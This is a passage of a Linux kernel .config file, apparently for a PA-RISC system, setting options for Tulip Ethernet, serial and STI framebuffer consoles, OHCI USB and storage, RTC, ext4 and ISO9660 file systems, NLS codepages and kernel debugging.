# CONFIG_DM_THIN_PROVISIONING is not set
# CONFIG_DM_CACHE is not set
# CONFIG_DM_ERA is not set
# CONFIG_DM_MIRROR is not set
# CONFIG_DM_RAID is not set
# CONFIG_DM_ZERO is not set
# CONFIG_DM_MULTIPATH is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_UEVENT is not set
# CONFIG_DM_FLAKEY is not set
# CONFIG_DM_VERITY is not set
# CONFIG_DM_SWITCH is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
# CONFIG_NET_TEAM is not set
# CONFIG_MACVLAN is not set
# CONFIG_VXLAN is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_TUN is not set
# CONFIG_VETH is not set
# CONFIG_NLMON is not set
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#

#
# Distributed Switch Architecture drivers
#
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set
# CONFIG_NET_DSA_MV88E6131 is not set
# CONFIG_NET_DSA_MV88E6123_61_65 is not set
# CONFIG_NET_DSA_MV88E6171 is not set
# CONFIG_NET_DSA_MV88E6352 is not set
# CONFIG_NET_DSA_BCM_SF2 is not set
CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
CONFIG_NET_VENDOR_AGERE=y
# CONFIG_ET131X is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_ALTERA_TSE is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_XGENE is not set
# CONFIG_NET_VENDOR_ARC is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
CONFIG_NET_VENDOR_DEC=y
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
# CONFIG_TULIP_NAPI is not set
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EXAR is not set
# CONFIG_NET_VENDOR_HP is not set
# CONFIG_NET_VENDOR_INTEL is not set
# CONFIG_IP1000 is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
CONFIG_NET_VENDOR_QUALCOMM=y
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RDC is not set
CONFIG_NET_VENDOR_ROCKER=y
CONFIG_NET_VENDOR_SAMSUNG=y
# CONFIG_SXGBE_ETH is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_SFC is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PHYLIB is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set
CONFIG_USB_NET_DRIVERS=y
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_RTL8152 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_IPHETH is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1600
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=1200
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ATKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
# CONFIG_MOUSE_PS2 is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_SYNAPTICS_USB is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
# CONFIG_SERIO is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
# CONFIG_LEGACY_PTYS is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
CONFIG_DEVMEM=y
CONFIG_DEVKMEM=y

#
# Serial drivers
#
CONFIG_SERIAL_EARLYCON=y
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_DEPRECATED_OPTIONS=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=2
CONFIG_SERIAL_8250_RUNTIME_UARTS=2
CONFIG_SERIAL_8250_EXTENDED=y
# CONFIG_SERIAL_8250_MANY_PORTS is not set
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set
# CONFIG_SERIAL_8250_DW is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_TTY_PRINTK is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_XILLYBUS is not set

#
# I2C support
#
# CONFIG_I2C is not set
# CONFIG_SPI is not set
# CONFIG_SPMI is not set
# CONFIG_HSI is not set

#
# PPS support
#
# CONFIG_PPS is not set

#
# PPS generators support
#

#
# PTP clock support
#
# CONFIG_PTP_1588_CLOCK is not set

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_POWER_AVS is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_CROS_EC is not set
# CONFIG_MFD_DLN2 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_LPC_ICH is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_VIPERBOARD is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RTSX_PCI is not set
# CONFIG_MFD_RTSX_USB is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_MFD_SYSCON is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_VGA_ARB is not set

#
# Direct Rendering Manager
#
# CONFIG_DRM is not set

#
# Frame buffer Devices
#
CONFIG_FB=y
# CONFIG_FIRMWARE_EDID is not set
CONFIG_FB_CMDLINE=y
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
# CONFIG_FB_MODE_HELPERS is not set
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_OPENCORES is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_I740 is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_SMSCUFX is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_FB_AUO_K190X is not set
# CONFIG_FB_SIMPLE is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set
# CONFIG_VGASTATE is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_STI_CONSOLE=y
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
# CONFIG_LOGO_LINUX_VGA16 is not set
# CONFIG_LOGO_LINUX_CLUT224 is not set
# CONFIG_LOGO_PARISC_CLUT224 is not set
# CONFIG_SOUND is not set

#
# HID support
#
CONFIG_HID=y
# CONFIG_HID_BATTERY_STRENGTH is not set
# CONFIG_HIDRAW is not set
# CONFIG_UHID is not set
CONFIG_HID_GENERIC=y

#
# Special HID drivers
#
# CONFIG_HID_A4TECH is not set
# CONFIG_HID_ACRUX is not set
# CONFIG_HID_APPLE is not set
# CONFIG_HID_APPLEIR is not set
# CONFIG_HID_AUREAL is not set
# CONFIG_HID_BELKIN is not set
# CONFIG_HID_BETOP_FF is not set
# CONFIG_HID_CHERRY is not set
# CONFIG_HID_CHICONY is not set
# CONFIG_HID_CYPRESS is not set
# CONFIG_HID_DRAGONRISE is not set
# CONFIG_HID_EMS_FF is not set
# CONFIG_HID_ELECOM is not set
# CONFIG_HID_ELO is not set
# CONFIG_HID_EZKEY is not set
# CONFIG_HID_HOLTEK is not set
# CONFIG_HID_HUION is not set
# CONFIG_HID_KEYTOUCH is not set
# CONFIG_HID_KYE is not set
# CONFIG_HID_UCLOGIC is not set
# CONFIG_HID_WALTOP is not set
# CONFIG_HID_GYRATION is not set
# CONFIG_HID_ICADE is not set
# CONFIG_HID_TWINHAN is not set
# CONFIG_HID_KENSINGTON is not set
# CONFIG_HID_LCPOWER is not set
# CONFIG_HID_LENOVO is not set
# CONFIG_HID_LOGITECH is not set
# CONFIG_HID_MAGICMOUSE is not set
# CONFIG_HID_MICROSOFT is not set
# CONFIG_HID_MONTEREY is not set
# CONFIG_HID_MULTITOUCH is not set
# CONFIG_HID_NTRIG is not set
# CONFIG_HID_ORTEK is not set
# CONFIG_HID_PANTHERLORD is not set
# CONFIG_HID_PENMOUNT is not set
# CONFIG_HID_PETALYNX is not set
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_PLANTRONICS is not set
# CONFIG_HID_PRIMAX is not set
# CONFIG_HID_ROCCAT is not set
# CONFIG_HID_SAITEK is not set
# CONFIG_HID_SAMSUNG is not set
# CONFIG_HID_SPEEDLINK is not set
# CONFIG_HID_STEELSERIES is not set
# CONFIG_HID_SUNPLUS is not set
# CONFIG_HID_RMI is not set
# CONFIG_HID_GREENASIA is not set
# CONFIG_HID_SMARTJOYPLUS is not set
# CONFIG_HID_TIVO is not set
# CONFIG_HID_TOPSEED is not set
# CONFIG_HID_THRUSTMASTER is not set
# CONFIG_HID_WACOM is not set
# CONFIG_HID_XINMO is not set
# CONFIG_HID_ZEROPLUS is not set
# CONFIG_HID_ZYDACRON is not set
# CONFIG_HID_SENSOR_HUB is not set

#
# USB HID support
#
CONFIG_USB_HID=y
# CONFIG_HID_PID is not set
# CONFIG_USB_HIDDEV is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=y
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
CONFIG_USB_DEFAULT_PERSIST=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG_WHITELIST is not set
# CONFIG_USB_OTG_BLACKLIST_HUB is not set
# CONFIG_USB_OTG_FSM is not set
# CONFIG_USB_MON is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
# CONFIG_USB_FUSBH200_HCD is not set
# CONFIG_USB_FOTG210_HCD is not set
CONFIG_USB_OHCI_HCD=y
CONFIG_USB_OHCI_HCD_PCI=y
# CONFIG_USB_OHCI_HCD_PLATFORM is not set
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_HCD_TEST_MODE is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=y
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_REALTEK is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_STORAGE_ENE_UB6250 is not set
# CONFIG_USB_UAS is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USBIP_CORE is not set
# CONFIG_USB_MUSB_HDRC is not set
# CONFIG_USB_DWC3 is not set
# CONFIG_USB_DWC2 is not set
# CONFIG_USB_ISP1760 is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_EHSET_TEST_FIXTURE is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_YUREX is not set
# CONFIG_USB_EZUSB_FX2 is not set
# CONFIG_USB_LINK_LAYER_TEST is not set

#
# USB Physical Layer drivers
#
# CONFIG_USB_PHY is not set
# CONFIG_NOP_USB_XCEIV is not set
# CONFIG_USB_GADGET is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1685_FAMILY is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_DS2404 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_RTC_DRV_XGENE is not set

#
# HID Sensor RTC drivers
#
# CONFIG_RTC_DRV_HID_SENSOR_TIME is not set
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_VIRT_DRIVERS is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
CONFIG_STAGING=y
# CONFIG_COMEDI is not set
# CONFIG_RTS5208 is not set
# CONFIG_FB_SM7XX is not set
CONFIG_FB_XGI=m
# CONFIG_FT1000 is not set

#
# Speakup console speech
#
# CONFIG_SPEAKUP is not set
# CONFIG_STAGING_MEDIA is not set

#
# Android
#
# CONFIG_USB_WPAN_HCD is not set
# CONFIG_WIMAX_GDM72XX is not set
# CONFIG_LTE_GDM724X is not set
# CONFIG_LUSTRE_FS is not set
# CONFIG_DGNC is not set
# CONFIG_DGAP is not set
# CONFIG_GS_FPGABOOT is not set
# CONFIG_I2O is not set

#
# Hardware Spinlock drivers
#

#
# Clock Source drivers
#
# CONFIG_ATMEL_PIT is not set
# CONFIG_MAILBOX is not set
CONFIG_IOMMU_SUPPORT=y

#
# Generic IOMMU Pagetable Support
#
# CONFIG_IOMMU_IO_PGTABLE_LPAE is not set

#
# Remoteproc drivers
#
# CONFIG_STE_MODEM_RPROC is not set

#
# Rpmsg drivers
#

#
# SOC (System On Chip) specific Drivers
#
# CONFIG_SOC_TI is not set
# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_VME_BUS is not set
# CONFIG_PWM is not set
# CONFIG_IPACK_BUS is not set
# CONFIG_RESET_CONTROLLER is not set
# CONFIG_FMC is not set

#
# PHY Subsystem
#
# CONFIG_GENERIC_PHY is not set
# CONFIG_BCM_KONA_USB2_PHY is not set
# CONFIG_POWERCAP is not set
# CONFIG_MCB is not set
# CONFIG_THUNDERBOLT is not set

#
# Android
#
# CONFIG_ANDROID is not set

#
# File systems
#
# CONFIG_EXT2_FS is not set
# CONFIG_EXT3_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT23=y
# CONFIG_EXT4_FS_POSIX_ACL is not set
# CONFIG_EXT4_FS_SECURITY is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
# CONFIG_FS_DAX is not set
# CONFIG_FS_POSIX_ACL is not set
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set
# CONFIG_OVERLAY_FS is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_MSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_TMPFS_XATTR is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
# CONFIG_MISC_FILESYSTEMS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=y
CONFIG_NLS_ISO8859_1=y
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_MAC_ROMAN is not set
# CONFIG_NLS_MAC_CELTIC is not set
# CONFIG_NLS_MAC_CENTEURO is not set
# CONFIG_NLS_MAC_CROATIAN is not set
# CONFIG_NLS_MAC_CYRILLIC is not set
# CONFIG_NLS_MAC_GAELIC is not set
# CONFIG_NLS_MAC_GREEK is not set
# CONFIG_NLS_MAC_ICELAND is not set
# CONFIG_NLS_MAC_INUIT is not set
# CONFIG_NLS_MAC_ROMANIAN is not set
# CONFIG_NLS_MAC_TURKISH is not set
# CONFIG_NLS_UTF8 is not set

#
# Kernel hacking
#

#
# printk and dmesg options
#
CONFIG_PRINTK_TIME=y
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4
# CONFIG_BOOT_PRINTK_DELAY is not set

#
# Compile-time checks and compiler options
#
# CONFIG_DEBUG_INFO is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=1024
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_UNUSED_SYMBOLS is not set
# CONFIG_PAGE_OWNER is not set
# CONFIG_DEBUG_FS is not set
# CONFIG_HEADERS_CHECK is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_ARCH_WANT_FRAME_POINTERS=y
CONFIG_FRAME_POINTER=y
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
CONFIG_MAGIC_SYSRQ=y
CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x1
CONFIG_DEBUG_KERNEL=y

#
# Memory Debugging
#
# CONFIG_PAGE_EXTENSION is not set
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_MEMORY_INIT is not set
CONFIG_HAVE_DEBUG_STACKOVERFLOW=y
# CONFIG_DEBUG_STACKOVERFLOW is not set
# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Lockups and Hangs
#
# CONFIG_LOCKUP_DETECTOR is not set
# CONFIG_DETECT_HUNG_TASK is not set
# CONFIG_PANIC_ON_OOPS is not set
CONFIG_PANIC_ON_OOPS_VALUE=0
CONFIG_PANIC_TIMEOUT=0
